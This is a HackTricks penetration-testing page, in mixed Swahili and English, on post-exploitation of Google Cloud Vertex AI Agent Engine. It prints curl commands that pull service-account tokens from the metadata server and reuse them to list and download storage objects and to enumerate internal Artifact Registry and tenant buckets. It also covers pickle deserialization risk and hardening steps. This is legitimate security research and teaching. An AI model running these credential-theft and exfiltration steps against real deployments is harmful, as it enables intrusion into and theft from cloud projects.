GCP - Vertex AI Post Exploitation

Tip

Jifunze na ufanye mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Saidia HackTricks

Vertex AI Agent Engine / Reasoning Engine

Ukurasa huu unazingatia workloads za Vertex AI Agent Engine / Reasoning Engine zinazotekeleza zana au code zinazodhibitiwa na attacker ndani ya Google-managed runtime.

For the general Vertex AI overview check:

GCP - Vertex AI Enum

For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:

GCP - Vertex AI Privesc

Kwa nini huduma hii ni maalum

Agent Engine inatambulisha muundo unaofaa lakini hatari: developer-supplied code running inside a managed Google runtime with a Google-managed identity.

Mipaka ya kuamini inayovutia ni:

  • Consumer project: your project and your data.
  • Producer project: Google-managed project operating the backend service.
  • Tenant project: Google-managed project dedicated to the deployed agent instance.

According to Google’s Vertex AI IAM documentation, Vertex AI resources can use Vertex AI service agents as resource identities, and those service agents can have read-only access to all Cloud Storage resources and BigQuery data in the project by default. If code running inside Agent Engine can steal the runtime credentials, that default access becomes immediately interesting.

Main abuse path

  1. Deploy or modify an agent so attacker-controlled tool code executes inside the managed runtime.
  2. Query the metadata server to recover project identity, service account identity, OAuth scopes, and access tokens.
  3. Reuse the stolen token as the Vertex AI Reasoning Engine P4SA / service agent.
  4. Pivot into the consumer project and read project-wide storage data allowed by the service agent.
  5. Pivot into the producer and tenant environments reachable by the same identity.
  6. Enumerate internal Artifact Registry packages and extract tenant deployment artifacts such as Dockerfile.zip, requirements.txt, and code.pkl.

This is not just a “run code in your own agent” issue. The key problem is the combination of:

  • metadata-accessible credentials
  • broad default service-agent privileges
  • wide OAuth scopes
  • multi-project trust boundaries hidden behind one managed service

Enumeration

Identify Agent Engine resources

The resource name format used by Agent Engine is:

projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>

Ikiwa una token lenye upatikanaji wa Vertex AI, enumerate Reasoning Engine API moja kwa moja:

PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"

Angalia deployment logs kwa sababu zinaweza leak internal producer Artifact Registry paths zinazotumika wakati wa packaging au runtime startup:

gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json

Utafiti wa Unit 42 uligundua njia za ndani kama:

us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod

Wizi wa cheti za metadata kutoka runtime

Ikiwa unaweza kutekeleza msimbo ndani ya runtime ya agent, kwanza ulizie huduma ya metadata:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'

Vipengele vinavyovutia ni pamoja na:

  • vitambulisho vya mradi
  • akaunti ya huduma / wakala wa huduma uliounganishwa
  • OAuth scopes zinazopatikana kwa runtime

Kisha omba token kwa ajili ya identity iliyounganishwa:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

Thibitisha token na ukague scopes zilizotolewa:

TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo

Warning

Google ilibadilisha sehemu za workflow ya deployment ya ADK baada ya utafiti kuripotiwa, kwa hivyo snippets za deployment za zamani huenda hazilingani tena na SDK ya sasa. The important primitive is still the same: if attacker-controlled code executes inside the Agent Engine runtime, metadata-derived credentials become reachable unless additional controls block that path.

Consumer-project pivot: service-agent data theft

Once the runtime token is stolen, test the effective access of the service agent against the consumer project.

The documented risky default capability is broad read access to project data. The Unit 42 research specifically validated:

  • storage.buckets.get
  • storage.buckets.list
  • storage.objects.get
  • storage.objects.list

Practical validation with the stolen token:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"

Hii inabadilisha wakala aliyevamiwa au mwenye nia mbaya kuwa project-wide storage exfiltration primitive.

Producer-project pivot: ufikiaji wa ndani wa Artifact Registry

Utambulisho ule ule ulioporwa pia linaweza kufanya kazi dhidi ya Google-managed producer resources.

Anza kwa kujaribu internal repository URIs zilizoonekana kwenye logs. Kisha orodhesha packages kwa kutumia Artifact Registry API:

packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])

Ikiwa una raw bearer token tu, piga REST API moja kwa moja:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"

Hii ni ya thamani hata kama ufikiaji wa kuandika umezuiwa kwa sababu inaonyesha:

  • majina ya internal image
  • deprecated images
  • muundo wa supply-chain
  • hesabu ya package/version kwa utafiti unaofuata

For more Artifact Registry background check:

GCP - Artifact Registry Enum

Tenant-project pivot: upokeaji wa artifact za deployment

Deployments za Reasoning Engine pia huacha artifacts za kuvutia katika a tenant project inayodhibitiwa na Google kwa instance hiyo.

Utafiti wa Unit 42 uligundua:

  • Dockerfile.zip
  • code.pkl
  • requirements.txt

Tumia token iliyoporwa ili kuorodhesha storage zinazoweza kufikiwa na kutafuta artifacts za deployment:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"

Artifakti kutoka mradi wa mpangaji yanaweza kufichua:

  • majina ya bucket za ndani
  • marejeo ya image za ndani
  • dhana za packaging
  • orodha ya utegemezi
  • msimbo wa wakala ulioserialishwa

Blogi pia iliona rejea ya ndani kama:

gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip

Hata wakati bucket iliyorejelewa na iliyo na vikwazo haikusomeki, those leaked paths husaidia kuunda ramani ya miundombinu ya ndani.

code.pkl na RCE ya masharti

Kama deployment pipeline inahifadhi hali ya agent inayoweza kutekelezwa katika muundo wa Python pickle, ichukue kama lengo lenye hatari kubwa.

Tatizo la mara moja ni usiri:

  • deserialization ya offline inaweza kufichua muundo wa code
  • muundo wa package leaks maelezo ya utekelezaji

Tatizo kubwa ni RCE ya masharti:

  • kama mshambulizi anaweza kutengeneza kasoro kwenye serialized artifact kabla ya service-side deserialization
  • na pipeline baadaye inapakia pickle hiyo
  • utekaji wa code wowote unakuwa uwezekano ndani ya managed runtime

Hii si exploit huru yenyewe. Ni dangerous deserialization sink ambayo inakuwa hatari wakati inachanganywa na primitive yoyote ya kuandika artifact au kuingilia supply-chain.

OAuth scopes and Workspace blast radius

Jibu la metadata pia linafunua OAuth scopes zilizounganishwa na runtime.

Kama scopes hizo ni pana kuliko zinazoruhusiwa kwa kiwango cha chini, token iliyoporwa inaweza kuwa na matumizi zaidi ya API za GCP. IAM bado inamua kama utambulisho umeidhinishwa, lakini scopes pana zinaongeza blast radius na kufanya mipangilio isiyoridhisha baadaye kuwa hatari zaidi.

Kama unatowa scopes zinazohusiana na Workspace, thibitisha kama utambulisho uliokwamishwa pia una njia za kuiga Workspace au upatikanaji uliotumwa:

GCP <–> Workspace Pivoting

Kuimarisha / utambuzi

Tumia custom service account badala ya default managed identity

Nyaraka za sasa za Agent Engine zinaunga mkono kuweka custom service account kwa agent iliyowekwa. Hii ni njia safi zaidi kupunguza blast radius:

  • toa utegemezi kwa default broad service agent
  • toa ruhusa ndogo kabisa zinazohitajika na agent
  • fanya utambulisho wa runtime uwe unaoweza kuauditiwa na wenye wigo uliokusudiwa

Thibitisha ufikaji wa kweli wa service-agent

Kagua ufikaji wa kweli wa Vertex AI service agent katika kila project ambapo Agent Engine inatumiwa:

gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'

Lenga kuona ikiwa identity iliyounganishwa inaweza kusoma:

  • all GCS buckets
  • BigQuery datasets
  • Artifact Registry repositories
  • secrets or internal registries reachable from build/deployment workflows

Tendea agent code kama utekelezaji wa code wenye ruhusa za juu

Kila zana/funsi inayotekelezwa na agent inapaswa kukaguliwa kana kwamba ni code inayoendesha kwenye VM yenye ufikiaji wa metadata. Katika vitendo hili inamaanisha:

  • kagua agent tools kwa ufikiaji wa moja kwa moja wa HTTP kwa metadata endpoints
  • kagua logs kwa marejeo ya repositories za ndani za pkg.dev na tenant buckets
  • kagua njia yoyote ya packaging inayohifadhi executable state kama pickle

Marejeo

Tip

Jifunze na ufanye mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Saidia HackTricks